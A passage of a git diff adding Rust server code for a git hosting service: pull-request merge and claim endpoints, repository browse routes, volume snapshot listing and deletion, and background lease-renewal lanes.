check_at_ms: None, + }; + if let Err(e) = pulls::put(&db, &pr).await { + return internal(e); + } + emit(&app, crate::events::Kind::PullOpened, &pr, &new.author).await; + (StatusCode::CREATED, Json(pr)).into_response() +} + +#[derive(serde::Deserialize)] +pub(super) struct NewComment { + body: String, + #[serde(default)] + author: String, +} + +pub(super) async fn api_pull_comment( + State(app): State>, + Path((owner, name, number)): Path<(String, String, i64)>, + Json(new): Json, +) -> Response { + let (owner, name) = match writable(&app, &owner, &name).await { + Ok(v) => v, + Err(r) => return r, + }; + let body: String = new.body.trim().chars().take(10_000).collect(); + if body.is_empty() { + return (StatusCode::BAD_REQUEST, "say something").into_response(); + } + let pr = match update(&app, &owner, &name, number, |pr| { + pr.comments.push(Comment { author: new.author.clone(), body, at_ms: now_ms() }); + None + }) + .await + { + Ok(pr) => pr, + Err(r) => return r, + }; + emit(&app, crate::events::Kind::PullCommented, &pr, &new.author).await; + StatusCode::NO_CONTENT.into_response() +} + +/// Ask for a merge. 409 rather than a second 202 when one is already queued or running: asking +/// twice must not queue it twice, and saying so is more use than a repeated "accepted". +pub(super) async fn api_pull_merge( + State(app): State>, + Path((owner, name, number)): Path<(String, String, i64)>, + Query(q): Query>, +) -> Response { + let (owner, name) = match writable(&app, &owner, &name).await { + Ok(v) => v, + Err(r) => return r, + }; + let strategy = match q.get("strategy").map(String::as_str).unwrap_or("fast-forward") { + s @ ("fast-forward" | "squash" | "merge" | "rebase") => s.to_string(), + _ => { + return ( + StatusCode::BAD_REQUEST, + "strategy must be fast-forward, squash, merge or rebase", + ) + .into_response() + } + }; + let who = q.get("by").cloned().unwrap_or_default(); + let pr = match update(&app, &owner, &name, number, |pr| { + // A finished-but-failed job may be retried, which is why only these two block a new one — + // the same condition Mongo's `request_merge` matched on. Checked inside the lock, where + // the answer is still true by the time the write lands. + let in_flight = matches!( + pr.merge.as_ref().map(|m| m.state), + Some(crate::pulls::MergeState::Queued | crate::pulls::MergeState::Running) + ); + if pr.state != PullState::Open || in_flight { + return Some( + (StatusCode::CONFLICT, "this change is not open, or a merge is already under way") + .into_response(), + ); + } + pr.merge = Some(MergeJob { + state: crate::pulls::MergeState::Queued, + strategy, + requested_by: who.clone(), + requested_at_ms: now_ms(), + claimed_at_ms: None, + claimed_by: None, + detail: None, + announced_at_ms: None, + }); + None + }) + .await + { + Ok(pr) => pr, + Err(r) => return r, + }; + // The event IS the kick. This node does not merge — it records the job and serves the git + // protocol the worker performs the merge over — so there is nothing to spawn here, and the + // floor if the event is lost is `App::announce_stranded_merges` re-announcing it. + emit(&app, crate::events::Kind::MergeRequested, &pr, &who).await; + (StatusCode::ACCEPTED, "merging").into_response() +} + +pub(super) async fn api_pull_close( + State(app): State>, + Path((owner, name, number)): Path<(String, String, i64)>, + Query(q): Query>, +) -> Response { + let (owner, name) = match writable(&app, &owner, &name).await { + Ok(v) => v, + Err(r) => return r, + }; + let who = q.get("by").cloned().unwrap_or_default(); + let pr = match update(&app, &owner, &name, number, |pr| { + if pr.state != PullState::Open { + return Some((StatusCode::CONFLICT, "this change is not open").into_response()); + } + pr.state = PullState::Closed; + None + }) + .await + { + Ok(pr) => pr, + Err(r) => return r, + }; + emit(&app, crate::events::Kind::PullClosed, &pr, &who).await; + StatusCode::NO_CONTENT.into_response() +} + +/// Recompute this change's mergeability, here, on the node that owns the repo. +/// +/// The caller says only "go look" — no state, no oids. It cannot know the answer: the refs and +/// the objects are here, and reading this repo's database anywhere else fences this node. So the +/// merge worker's stream nudge becomes one POST, and the computation stays where the truth is. +/// The owner's own periodic lane calls the same `pulls::check`, which is what makes a lost nudge +/// cost latency rather than a check. +/// +/// Number `0` means the whole repo, matching the `HeadMoved` event that is about a branch and +/// names no single change. +/// +/// Always 204, even when nothing needed doing: the caller acks its stream entry either way, and +/// "already up to date" is not a failure it could act on. +/// +/// No event: this is an answer, not a change anyone asked to be told about. +pub(super) async fn api_pull_check( + State(app): State>, + Path((owner, name, number)): Path<(String, String, i64)>, +) -> Response { + let (owner, name) = match writable(&app, &owner, &name).await { + Ok(v) => v, + Err(r) => return r, + }; + if let Err(r) = ready(&app, &owner, &name).await { + return r; + } + let done = if number == 0 { + pulls::check_repo(&app.store, &owner, &name).await + } else { + pulls::check(&app.store, &owner, &name, number).await.map(|c| match c { + pulls::Checked::Deep(d) => vec![d], + _ => Vec::new(), + }) + }; + match done { + Ok(deep) => Json(deep).into_response(), + Err(e) => internal(e), + } +} + +// --------------------------------------------------------------------------- +// The worker's three endpoints: claim a merge, report how it went, report a trial merge. +// +// Peer-only in the strong sense — `Trusted(Some(_))`, so the shared secret AND an asserted +// identity, never a Bearer token. These are not a person's routes: they hand out work and write +// outcomes, and the only caller that may is the fleet's own worker. +// --------------------------------------------------------------------------- + +/// The peer secret alone is not enough; the caller must also say who it acts as, and that must be +/// the repo's owner. `trust_peer` has already checked the secret for everything on this listener. +fn as_owner(trusted: &Trusted, owner: &str) -> Result<(), Response> { + match trusted.0.as_deref() { + Some(o) if o == owner => Ok(()), + Some(_) => Err((StatusCode::FORBIDDEN, "not this repository's owner").into_response()), + None => Err((StatusCode::BAD_REQUEST, "caller identity required").into_response()), + } +} + +/// Take THIS change's queued merge, if it is still there to take. +/// +/// 409, not 404, when it is not: the worker acted on a nudge, and "someone already has it" is the +/// normal answer to a duplicate delivery, not a fault. The lease is `App::MERGE_LEASE`, so a +/// worker that dies mid-merge strands the change for that long and no longer. +pub(super) async fn api_pull_claim( + State(app): State>, + axum::Extension(trusted): axum::Extension, + Path((owner, name, number)): Path<(String, String, i64)>, + Query(q): Query>, +) -> Response { + let (owner, name) = match writable(&app, &owner, &name).await { + Ok(v) => v, + Err(r) => return r, + }; + if let Err(r) = as_owner(&trusted, &owner) { + return r; + } + if let Err(r) = ready(&app, &owner, &name).await { + return r; + } + let me = q.get("by").cloned().unwrap_or_else(|| "worker".to_string()); + match pulls::claim_merge_number(&app.store, &owner, &name, number, App::MERGE_LEASE, &me).await + { + Ok(Some(pr)) => { + let job = pr.merge.as_ref(); + Json(crate::merge_worker::Job { + owner, + name, + number: pr.number, + strategy: job.map(|j| j.strategy.clone()).unwrap_or_default(), + base: pr.base.clone(), + head: pr.head.clone(), + title: pr.title.clone(), + requested_by: job.map(|j| j.requested_by.clone()).unwrap_or_default(), + }) + .into_response() + } + Ok(None) => (StatusCode::CONFLICT, "no merge to claim").into_response(), + Err(e) => internal(e), + } +} + +/// Record how a merge ended. The one place a change becomes `Merged`. +/// +/// The worker has already pushed by the time this arrives — the ref moved through `receive-pack` +/// like any other push, protection rules and all — so this writes what happened, it does not +/// decide it. +/// +/// `?by=` must be the token that WON the claim. A worker whose lease lapsed mid-merge may still be +/// running, and its late report would otherwise overwrite the state of the worker that has the job +/// now: "merged" on a change the new claimant is still merging, or "failed" on one that just +/// landed. Checked inside the lock, against `claimed_by`, where the answer is still true when the +/// write lands. 409 and no write when it does not match — the same answer a lost claim gets. +/// +/// One read-modify-write for the whole outcome, rather than a state change and then a job change: +/// a crash between two writes would leave a merged change carrying a live job, or a cleared job on +/// a change that never merged. +pub(super) async fn api_pull_outcome( + State(app): State>, + axum::Extension(trusted): axum::Extension, + Path((owner, name, number)): Path<(String, String, i64)>, + Query(q): Query>, + // Raw bytes, not `Json`: an extractor runs BEFORE the handler, so a malformed body + // would be answered 422 by a caller who was never authorized to reach this route at all. + // Authorization first, parsing second. + body: axum::body::Bytes, +) -> Response { + use crate::merge_worker::OutcomeState; + let (owner, name) = match writable(&app, &owner, &name).await { + Ok(v) => v, + Err(r) => return r, + }; + if let Err(r) = as_owner(&trusted, &owner) { + return r; + } + let out: crate::merge_worker::Outcome = match serde_json::from_slice(&body) { + Ok(v) => v, + Err(e) => return (StatusCode::BAD_REQUEST, e.to_string()).into_response(), + }; + let by = q.get("by").cloned().unwrap_or_default(); + let detail = out.detail.as_deref().map(str::trim).filter(|d| !d.is_empty()).map(str::to_string); + let merged = out.state == OutcomeState::Merged; + let pr = match update(&app, &owner, &name, number, |pr| { + // An empty `by` never matches: a claim always records a token, so a report without one is + // from something that never claimed. + if pr.merge.as_ref().and_then(|j| j.claimed_by.as_deref()) != Some(by.as_str()) { + return Some( + (StatusCode::CONFLICT, "this merge is claimed by someone else").into_response(), + ); + } + match out.state { + OutcomeState::Merged => { + pr.state = PullState::Merged; + if pr.merged_at_ms.is_none() { + pr.merged_at_ms = Some(now_ms()); + } + // A merged change already records that it merged, in its own state; `Queued` is + // not a state a finished job stays in, so clearing is the honest end. + pr.merge = None; + } + // The job stays, carrying the reason: a failed merge is retryable from the page, and + // the person waiting is owed git's own words for why it stopped. + OutcomeState::Conflicts | OutcomeState::Refused => { + if let Some(job) = pr.merge.as_mut() { + job.state = if out.state == OutcomeState::Conflicts { + crate::pulls::MergeState::Conflicts + } else { + crate::pulls::MergeState::Failed + }; + job.detail = detail.clone(); + } + } + } + None + }) + .await + { + Ok(pr) => pr, + Err(r) => return r, + }; + if merged { + // Two events, not one: `PullMerged` is this change's own timeline entry, while `HeadMoved` + // says the base branch tip moved — which is what makes every OTHER open change against + // that base worth re-checking. + emit(&app, crate::events::Kind::PullMerged, &pr, &pr.author).await; + let moved = PullRequest { + number: 0, + title: String::new(), + base: String::new(), + head: String::new(), + ..pr + }; + emit(&app, crate::events::Kind::HeadMoved, &moved, "").await; + } + StatusCode::NO_CONTENT.into_response() +} + +/// Record a trial merge's verdict on a change the cheap check could not answer for. +/// +/// Only the state, the sentence and the fast-forward flag: the two tips the answer belongs to were +/// stamped by the check that asked for this, and keeping them is what lets the NEXT check see that +/// a branch has moved since. A change with no recorded check at all is left alone — the verdict +/// would have no tips to be true of. +pub(super) async fn api_pull_mergeability( + State(app): State>, + axum::Extension(trusted): axum::Extension, + Path((owner, name, number)): Path<(String, String, i64)>, + // Bytes, not `Json`, for the same reason as `api_pull_outcome`: authorize first. + body: axum::body::Bytes, +) -> Response { + let (owner, name) = match writable(&app, &owner, &name).await { + Ok(v) => v, + Err(r) => return r, + }; + if let Err(r) = as_owner(&trusted, &owner) { + return r; + } + let v: crate::merge_worker::Verdict = match serde_json::from_slice(&body) { + Ok(v) => v, + Err(e) => return (StatusCode::BAD_REQUEST, e.to_string()).into_response(), + }; + match update(&app, &owner, &name, number, |pr| { + let Some(m) = pr.mergeability.as_mut() else { + return Some(StatusCode::NO_CONTENT.into_response()); + }; + m.state = v.state; + m.detail = v.detail.clone(); + m.fast_forward = v.fast_forward; + None + }) + .await + { + // `update`'s refusal shape carries the 204 for "nothing recorded yet" as well. + Ok(_) => StatusCode::NO_CONTENT.into_response(), + Err(r) => r, + } +} + +/// The HTTP face of `pulls::modify`: same lock, same read-modify-write, with a refusal that is a +/// `Response`. `f` returns `Some(response)` to refuse — which keeps the state checks (is it still +/// open? is a merge already in flight?) INSIDE the lock, where they are actually decisive. +async fn update( + app: &App, + owner: &str, + name: &str, + number: i64, + f: impl FnOnce(&mut PullRequest) -> Option, +) -> Result { + ready(app, owner, name).await?; + let mut refusal = None; + let done = pulls::modify(&app.store, owner, name, number, |pr| match f(pr) { + Some(r) => { + refusal = Some(r); + false + } + None => true, + }) + .await + .map_err(internal)?; + match done { + Some(pr) => Ok(pr), + // No refusal recorded and nothing written means the change is not there. + None => Err(refusal + .unwrap_or_else(|| (StatusCode::NOT_FOUND, "no such change").into_response())), + } +} diff --git a/bins/server/src/browse_api/repo.rs b/bins/server/src/browse_api/repo.rs new file mode 100644 index 00000000..cc1eaba4 --- /dev/null +++ b/bins/server/src/browse_api/repo.rs @@ -0,0 +1,250 @@ +//! Repo-scoped read routes: refs, tree/blob browsing, log, commit detail, and signatures. +use super::{odb_json, open_ro, parse_oid, BLOB_CAP}; +use crate::router::internal; +use rustic_git_core::httpx::Trusted; +use crate::App; +use axum::{ + extract::{Path, Query, State}, + http::HeaderMap, + response::{IntoResponse, Response}, + Json, +}; +use serde::Serialize; +use std::collections::HashMap; +use std::sync::Arc; + +#[derive(Serialize)] +pub(super) struct Ref { + name: String, + oid: String, + kind: &'static str, +} + +pub(super) async fn api_refs( + State(app): State>, + axum::Extension(trusted): axum::Extension, + headers: HeaderMap, + Path((owner, name)): Path<(String, String)>, +) -> Response { + let repo = match open_ro(&app, &trusted, &headers, &owner, &name).await { + Ok(r) => r, + Err(r) => return r, + }; + let refs = match app.store.list_refs(&repo).await { + Ok(r) => r, + Err(e) => return internal(e), + }; + let out: Vec = refs + .into_iter() + .map(|(name, oid)| Ref { + kind: if name.starts_with("refs/tags/") { "tag" } else { "branch" }, + name, + oid: oid.to_hex().to_string(), + }) + .collect(); + Json(out).into_response() +} + +pub(super) async fn tree( + app: Arc, + trusted: Trusted, + headers: HeaderMap, + owner: String, + name: String, + oid: String, + path: String, +) -> Response { + let repo = match open_ro(&app, &trusted, &headers, &owner, &name).await { + Ok(r) => r, + Err(r) => return r, + }; + let oid = match parse_oid(&oid) { + Ok(o) => o, + Err(r) => return r, + }; + odb_json(repo, move |odb| crate::browse::tree_at(odb, oid, &path)).await +} + +pub(super) async fn api_tree_root( + State(app): State>, + axum::Extension(trusted): axum::Extension, + headers: HeaderMap, + Path((owner, name, oid)): Path<(String, String, String)>, +) -> Response { + tree(app, trusted, headers, owner, name, oid, String::new()).await +} + +pub(super) async fn api_tree( + State(app): State>, + axum::Extension(trusted): axum::Extension, + headers: HeaderMap, + Path((owner, name, oid, path)): Path<(String, String, String, String)>, +) -> Response { + tree(app, trusted, headers, owner, name, oid, path).await +} + +pub(super) async fn api_blob( + State(app): State>, + axum::Extension(trusted): axum::Extension, + headers: HeaderMap, + Path((owner, name, oid, path)): Path<(String, String, String, String)>, +) -> Response { + let repo = match open_ro(&app, &trusted, &headers, &owner, &name).await { + Ok(r) => r, + Err(r) => return r, + }; + let oid = match parse_oid(&oid) { + Ok(o) => o, + Err(r) => return r, + }; + odb_json(repo, move |odb| crate::browse::blob_at(odb, oid, &path, BLOB_CAP)).await +} + +pub(super) async fn api_log( + State(app): State>, + axum::Extension(trusted): axum::Extension, + headers: HeaderMap, + Path((owner, name, oid)): Path<(String, String, String)>, + Query(q): Query>, +) -> Response { + let repo = match open_ro(&app, &trusted, &headers, &owner, &name).await { + Ok(r) => r, + Err(r) => return r, + }; + let oid = match parse_oid(&oid) { + Ok(o) => o, + Err(r) => return r, + }; + // Clamped, not rejected: `n` is a page size, and a client asking for a million commits wants + // the first page, not an error. + let n = q + .get("n") + .and_then(|v| v.parse::().ok()) + .unwrap_or(50) + .clamp(1, 200); + odb_json(repo, move |odb| crate::browse::log(odb, oid, n)).await +} + +#[derive(Serialize)] +pub(super) struct CommitDetail { + #[serde(flatten)] + commit: crate::browse::Commit, + diff: String, +} + +pub(super) async fn api_commit( + State(app): State>, + axum::Extension(trusted): axum::Extension, + headers: HeaderMap, + Path((owner, name, oid)): Path<(String, String, String)>, +) -> Response { + let repo = match open_ro(&app, &trusted, &headers, &owner, &name).await { + Ok(r) => r, + Err(r) => return r, + }; + let oid = match parse_oid(&oid) { + Ok(o) => o, + Err(r) => return r, + }; + odb_json(repo, move |odb| { + crate::browse::commit(odb, oid).map(|(commit, diff)| CommitDetail { commit, diff }) + }) + .await +} + +/// Every file under a commit, in one answer. See `browse::files_at` — the caller +/// wants the shape of the repo, and a request per directory is what this replaces. +pub(super) async fn api_files( + State(app): State>, + axum::Extension(trusted): axum::Extension, + headers: HeaderMap, + Path((owner, name, oid)): Path<(String, String, String)>, + Query(q): Query>, +) -> Response { + let repo = match open_ro(&app, &trusted, &headers, &owner, &name).await { + Ok(r) => r, + Err(r) => return r, + }; + let oid = match parse_oid(&oid) { + Ok(o) => o, + Err(r) => return r, + }; + let path = q.get("path").cloned().unwrap_or_default(); + // Clamped rather than refused, exactly as `log` clamps `n`. + let cap = q.get("cap").and_then(|v| v.parse::().ok()).unwrap_or(5000).clamp(1, 20_000); + odb_json(repo, move |odb| crate::browse::files_at(odb, oid, &path, cap)).await +} + +#[derive(Serialize)] +pub(super) struct LastChange { + name: String, + #[serde(flatten)] + commit: crate::browse::Commit, +} + +/// What last touched each entry of a directory. One walk of history for the whole +/// directory; see `browse::last_changes`. +pub(super) async fn api_lastmod( + State(app): State>, + axum::Extension(trusted): axum::Extension, + headers: HeaderMap, + Path((owner, name, oid)): Path<(String, String, String)>, + Query(q): Query>, +) -> Response { + let repo = match open_ro(&app, &trusted, &headers, &owner, &name).await { + Ok(r) => r, + Err(r) => return r, + }; + let oid = match parse_oid(&oid) { + Ok(o) => o, + Err(r) => return r, + }; + let path = q.get("path").cloned().unwrap_or_default(); + let budget = q.get("budget").and_then(|v| v.parse::().ok()).unwrap_or(500).clamp(1, 2000); + odb_json(repo, move |odb| { + crate::browse::last_changes(odb, oid, &path, budget) + .map(|v| v.into_iter().map(|(name, commit)| LastChange { name, commit }).collect::>()) + }) + .await +} + +#[derive(Serialize)] +pub(super) struct SignatureOf { + signature: String, + /// Base64: the payload is raw object bytes, which JSON cannot carry. + payload_base64: String, + author_email: String, +} + +/// A commit's signature and the bytes it covers. +/// +/// The node can produce these but cannot judge them — it has no list of whose +/// keys are whose. Verification belongs to the api tier, which does. +pub(super) async fn api_signature( + State(app): State>, + axum::Extension(trusted): axum::Extension, + headers: HeaderMap, + Path((owner, name, oid)): Path<(String, String, String)>, +) -> Response { + let repo = match open_ro(&app, &trusted, &headers, &owner, &name).await { + Ok(r) => r, + Err(r) => return r, + }; + let oid = match parse_oid(&oid) { + Ok(o) => o, + Err(r) => return r, + }; + odb_json(repo, move |odb| { + crate::browse::signature_of(odb, oid).map(|s| { + s.map(|s| { + use base64::Engine; + SignatureOf { + signature: s.signature, + payload_base64: base64::engine::general_purpose::STANDARD.encode(&s.payload), + author_email: s.author_email, + } + }) + }) + }) + .await +} diff --git a/bins/server/src/browse_api/volumes.rs b/bins/server/src/browse_api/volumes.rs new file mode 100644 index 00000000..b2a72d2e --- /dev/null +++ b/bins/server/src/browse_api/volumes.rs @@ -0,0 +1,186 @@ +//! Volume browse routes: the owner-scoped volume list and one volume's snapshot history. +//! +//! These are the USER-facing read side of the `vol/{owner}/{name}` registry. The agent-facing +//! write side lives in `crate::vol_agent` and authenticates a region's agent token; that surface is +//! deliberately not reused here, because a per-region shared secret is not an authorization answer +//! for "may this person see these snapshots". +//! +//! A snapshot outlives the workspace it was taken of, so this is the only index of them that +//! survives the parent's deletion — which is exactly why the Snapshots page reads it rather than +//! enumerating live `Workspace`/`Environment` objects in the cluster. + +use super::hidden; +use crate::router::internal; +use crate::App; +use axum::{ + extract::{Path, State}, + http::HeaderMap, + response::{IntoResponse, Response}, + Json, +}; +use futures::StreamExt; +use rustic_git_core::httpx::Trusted; +use rustic_git_workspaces::registry::VolExt; +use serde::Serialize; +use slatedb::object_store::ObjectStore; +use std::collections::BTreeMap; +use std::sync::Arc; + +#[derive(Serialize)] +pub(super) struct VolumeSummary { + /// The volume id — the workspace/environment id it was pushed from. + name: String, + /// Epoch millis of the newest object under this volume's database prefix: the last time + /// anything was written to it. It is the closest thing to "last snapshot" answerable without + /// opening the database, which this handler must never do. + /// ponytail: a compaction rewrites objects without a push, so this can run ahead of the real + /// newest snapshot. Good enough to sort and date a list by; `volumehistory` has the exact + /// times. The upgrade is an `index/` marker written once per push. + latest_ms: Option, +} + +/// `GET /api/{owner}/volumes` — every volume this owner has ever pushed, for the Snapshots page. +/// +/// Owner-scoped like `images`, and for the same reason it carries the same warning: it reads the +/// shared object store ALONE. It must never call `vol_db`/`history`/`region`, each of which opens +/// one volume's database with no ownership check and would fence that volume's legitimate owner +/// when served on the wrong node. `repo_of` answers `None` for this path, so it is served by +/// whichever node receives it — that is only sound while this stays a pure object-store read. +/// +/// A volume's database lives under `repo/vol/{owner}/{name}/` (`pool::path` over +/// `registry::pool_coords`), so one LIST of that prefix names every volume without opening any of +/// them. A volume appears here once anything has been written to it, which is its first push. +pub(super) async fn volumes( + State(app): State>, + axum::Extension(trusted): axum::Extension, + headers: HeaderMap, + Path(owner): Path, +) -> Response { + match crate::registry::auth::caller(&app, &trusted, &headers).await { + Ok(Some(who)) if who == owner => {} + Ok(_) => return hidden(), + Err(r) => return r, + } + let prefix = slatedb::object_store::path::Path::from(format!("repo/vol/{owner}")); + // Newest mtime per volume, accumulated in one pass over the listing: every object under a + // volume's prefix belongs to that volume's database, and the segment after the prefix names it. + let mut newest: BTreeMap = BTreeMap::new(); + let mut items = app.store.os.list(Some(&prefix)); + while let Some(item) = items.next().await { + let meta = match item { + Ok(m) => m, + Err(e) => return internal(e.into()), + }; + // `location` is `repo/vol/{owner}/{name}/...`; anything shallower is not a volume's data. + let Some(rest) = meta.location.as_ref().strip_prefix(&format!("repo/vol/{owner}/")) else { + continue; + }; + let Some(name) = rest.split('/').next().filter(|n| !n.is_empty()) else { continue }; + let ms = meta.last_modified.timestamp_millis(); + newest.entry(name.to_string()).and_modify(|m| *m = (*m).max(ms)).or_insert(ms); + } + let out: Vec = newest + .into_iter() + .map(|(name, ms)| VolumeSummary { name, latest_ms: (ms > 0).then_some(ms) }) + .collect(); + Json(out).into_response() +} + +/// `DELETE /api/{owner}/{name}/volumedelete` — drop one volume's whole snapshot index. +/// +/// Routed by the VOLUME key exactly like `volumehistory`, and for the same reason: the records +/// live in that volume's own database and only the node holding it may open it. +/// +/// **What this deletes is the records and the refs, not the layer blobs.** A blob id is a per-push +/// uuid, but it is NOT private to the volume that minted it: `Engine::inherit`/`Engine::restore` +/// stage the SOURCE's lineage entries — same blob ids — under the destination, and the +/// destination's next push registers `CommitRecord`s naming them. So a clone or a restore makes +/// two volumes reference one blob, and deleting this volume's blobs would silently destroy the +/// other's snapshots. Answering "does any other volume still reference this blob" needs every +/// other volume's database, which this node may not open (that is the one invariant the whole +/// routing middleware exists for), so it cannot be answered here at all. +/// ponytail: layer blobs are orphaned by this, and reclaimed by nothing yet — every layer blob +/// carries a `layers/*.json` sidecar naming its parent, so a keep-biased sweep over `layers/` +/// that deletes only what NO volume's history references is the upgrade, and it belongs in the +/// worker beside `registry::gc`, not on this request path. +pub(super) async fn volumedelete( + State(app): State>, + axum::Extension(trusted): axum::Extension, + headers: HeaderMap, + Path((owner, name)): Path<(String, String)>, +) -> Response { + match crate::registry::auth::caller(&app, &trusted, &headers).await { + Ok(Some(who)) if who == owner => {} + Ok(_) => return hidden(), + Err(r) => return r, + } + // Same guard as `volumehistory`, and the same reason: opening CREATES, so a delete of an + // unknown name would mint the very ghost volume the listing then shows forever. + if !app.store.vol_exists(&owner, &name).await.unwrap_or(false) { + return hidden(); + } + match app.store.delete_volume(&owner, &name).await { + Ok(()) => axum::http::StatusCode::NO_CONTENT.into_response(), + Err(e) => internal(e), + } +} + +/// `DELETE /api/{owner}/{name}/snapshotdelete/{snapshot_id}` — drop ONE commit record. +/// +/// Routed by the VOLUME key like `volumehistory` and `volumedelete`: it opens the same database. +/// +/// Blobs are untouched, exactly as in `volumedelete` and for the same reason — a blob id is shared +/// with any volume cloned or restored from this one, and this node may not open theirs to find out. +/// An unknown id is a 404 with no side effect at all. +pub(super) async fn snapshotdelete( + State(app): State>, + axum::Extension(trusted): axum::Extension, + headers: HeaderMap, + Path((owner, name, snapshot)): Path<(String, String, String)>, +) -> Response { + match crate::registry::auth::caller(&app, &trusted, &headers).await { + Ok(Some(who)) if who == owner => {} + Ok(_) => return hidden(), + Err(r) => return r, + } + // Before the open, always: opening a volume's database CREATES it. + if !app.store.vol_exists(&owner, &name).await.unwrap_or(false) { + return hidden(); + } + match app.store.delete_commit(&owner, &name, &snapshot).await { + Ok(true) => axum::http::StatusCode::NO_CONTENT.into_response(), + Ok(false) => hidden(), + Err(e) => internal(e), + } +} + +/// `GET /api/{owner}/{name}/volumehistory` — one volume's snapshots, newest first. +/// +/// Repo-scoped in shape but routed by the VOLUME key (`vol/{owner}/{name}`, see `repo_of`), like +/// `imagetags` routes by the image key: the records live in that volume's own database and only the +/// node holding it may open it. Unlike `volumes` above, this one is allowed to open a database +/// precisely BECAUSE the ownership middleware has already sent it to the right node. +/// +/// Answers the same `CommitRecord` shape `/vol-agent/{owner}/{name}/history` does — same records, +/// same order, different authentication (a person here, a region's agent there). +pub(super) async fn volumehistory( + State(app): State>, + axum::Extension(trusted): axum::Extension, + headers: HeaderMap, + Path((owner, name)): Path<(String, String)>, +) -> Response { + match crate::registry::auth::caller(&app, &trusted, &headers).await { + Ok(Some(who)) if who == owner => {} + Ok(_) => return hidden(), + Err(r) => return r, + } + // Before the open, always: opening a volume's database CREATES it, so a probe of an unknown + // name would mint a ghost volume that the listing above then shows forever. + if !app.store.vol_exists(&owner, &name).await.unwrap_or(false) { + return hidden(); + } + match app.store.history(&owner, &name).await { + Ok(records) => Json(records).into_response(), + Err(e) => internal(e), + } +} diff --git a/bins/server/src/lanes.rs b/bins/server/src/lanes.rs new file mode 100644 index 00000000..aa8fc06c --- /dev/null +++ b/bins/server/src/lanes.rs @@ -0,0 +1,256 @@ +//! The background lanes: lease renewal/checkpointing and the three backstop sweeps +//! (marker reconciliation, mergeability checks, stranded-merge re-announcement). + +use crate::App; +use std::sync::Arc; + +/// Renewal, and pruning on the leader — the two background halves of the lifecycle invariant. +/// The work itself lives on `App`; these are only the clocks. +pub fn spawn_lease_tasks(app: Arc) { + use crate::ownership::{LEASE_TTL, RENEW_EVERY}; + /// How often the leader moves the ownership map's flush pointer. Matched to the collector's + /// `min_age` so the WAL settles at about two of these rather than growing without bound. + const CHECKPOINT_EVERY: std::time::Duration = std::time::Duration::from_secs(300); + /// Ceiling on one checkpoint. Generous for the work (a healthy one takes ~14ms) and short + /// against the lease TTL it must never eat into. + const CHECKPOINT_TIMEOUT: std::time::Duration = std::time::Duration::from_secs(30); + + // Renewal runs ALONE. It used to share this loop with the reconcile/check/announce lanes, + // and each lane sleeps RECONCILE_GAP per warm repo — at max_warm that is longer than + // LEASE_TTL, so a node with enough warm repos skipped renewals and then evicted its own + // live databases when the leader dropped them. The checkpoint got a deadline for exactly + // this failure mode; the lanes get their own tasks below, so nothing can delay a beat. + let a = app.clone(); + tokio::spawn(async move { + let mut last_checkpoint = std::time::Instant::now(); + loop { + tokio::time::sleep(RENEW_EVERY).await; + // A renewal that cannot reach the leader is not fatal: the lease runs to its TTL and + // the next beat is three seconds away. Missing every beat for a whole TTL is what lets + // another node claim, which is the intended outcome. + if let Err(e) = a.renew_once().await { + metrics::counter!("ownership_renew_failures_total").increment(1); + tracing::warn!(error = %e, "renewing leases"); + } + // Move the ownership map's flush pointer so the WAL behind it can be reclaimed. + // Timed off the CLOCK, and BOUNDED: an unbounded flush hung here once and the leader + // stopped renewing leases entirely. Missing a checkpoint costs a few hundred + // reclaimable objects; missing every renewal costs the fleet its routing. + if last_checkpoint.elapsed() >= CHECKPOINT_EVERY { + last_checkpoint = std::time::Instant::now(); + match tokio::time::timeout(CHECKPOINT_TIMEOUT, a.ownership.checkpoint()).await { + Ok(Ok(())) => {} + Ok(Err(e)) => tracing::warn!(error = %e, "ownership checkpoint"), + Err(_) => tracing::warn!( + timeout_s = CHECKPOINT_TIMEOUT.as_secs(), + "ownership checkpoint: timed out; leases keep renewing" + ), + } + } + } + }); + + // The three backstop lanes, one task each so a slow pass delays only its own next pass — + // a lane is a sequential loop and cannot overlap itself. Periods match what the old beat + // arithmetic produced (10th/20th/5th beat at RENEW_EVERY = 3s); the per-lane rationale + // lives on each lane's function below. + // Each period is a ceiling of itself + 200ms/repo of drift — see the lane's own function. + lane(app.clone(), 30, |a| async move { reconcile_owned_markers(&a).await }); + lane(app.clone(), 60, |a| async move { check_owned_pulls(&a).await }); + // Image pull counters are tallied in memory on the GET path and land here; losing one + // window of counts to a crash is the accepted price of a lock-free pull. + lane(app.clone(), 30, |a| async move { + use rustic_git_registry::store::ImageExt; + if let Err(e) = a.store.flush_pulls().await { + tracing::warn!(error = %e, "flushing pull counters"); + } + }); + lane(app.clone(), 15, |a| async move { announce_stranded_merges(&a).await }); + lane(app.clone(), 60, |a| async move { consolidate_owned_packs(&a, crate::gc::max_packs()).await }); + + if !app.is_leader() { + return; + } + tokio::spawn(async move { + loop { + tokio::time::sleep(LEASE_TTL).await; + if let Err(e) = app.prune_once().await { + tracing::warn!(error = %e, "pruning ownership"); + } + } + }); +} + +/// One backstop lane: sleep `secs`, run one pass, repeat forever. +fn lane(app: Arc, secs: u64, f: F) +where + F: Fn(Arc) -> Fut + Send + 'static, + Fut: std::future::Future + Send, +{ + tokio::spawn(async move { + loop { + tokio::time::sleep(std::time::Duration::from_secs(secs)).await; + f(app.clone()).await; + } + }); +} + +/// What a warm pool key is, for the lanes. The pool holds three namespaces under one keyspace — +/// `owner/name` (a git repo), `img/owner/name` (an image) and `vol/owner/id` (a workspace +/// volume, owned by the `vol_agent` surface) — and a lane that only strips `img/` reads a warm +/// volume as a git repo owned by `vol`: the marker lane then publishes `index/*/repo/vol/...` +/// every pass and the pull lanes scan a volume database for `pull/` rows. Volumes have neither +/// a listing marker nor pull requests, so they are `None` here and every lane skips them. +fn kind_of(key: &str) -> Option<(crate::index::Kind, &str, &str)> { + let (kind, rest) = match key.strip_prefix("img/") { + Some(rest) => (crate::index::Kind::Img, rest), + None if key.starts_with("vol/") => return None, + None => (crate::index::Kind::Repo, key), + }; + let (owner, name) = rest.split_once('/')?; + Some((kind, owner, name)) +} + +/// One pass of the visibility repair lane: for every repo/image this node holds open, move +/// its listing marker back onto what the repo's own database says. `open_repo`'s lazy repair +/// only fires when someone touches a repo; a repo nobody clones or browses — and every +/// pre-existing repo, which has no marker at all until the structural sweep writes a +/// fail-closed PRIVATE one — would otherwise stay missing from listings forever. +/// +/// `warm_repos()` is the ownership set on purpose: it names only databases THIS node has +/// open, so the lane can never open a repo owned elsewhere and fence its owner. Repairs are +/// paced by 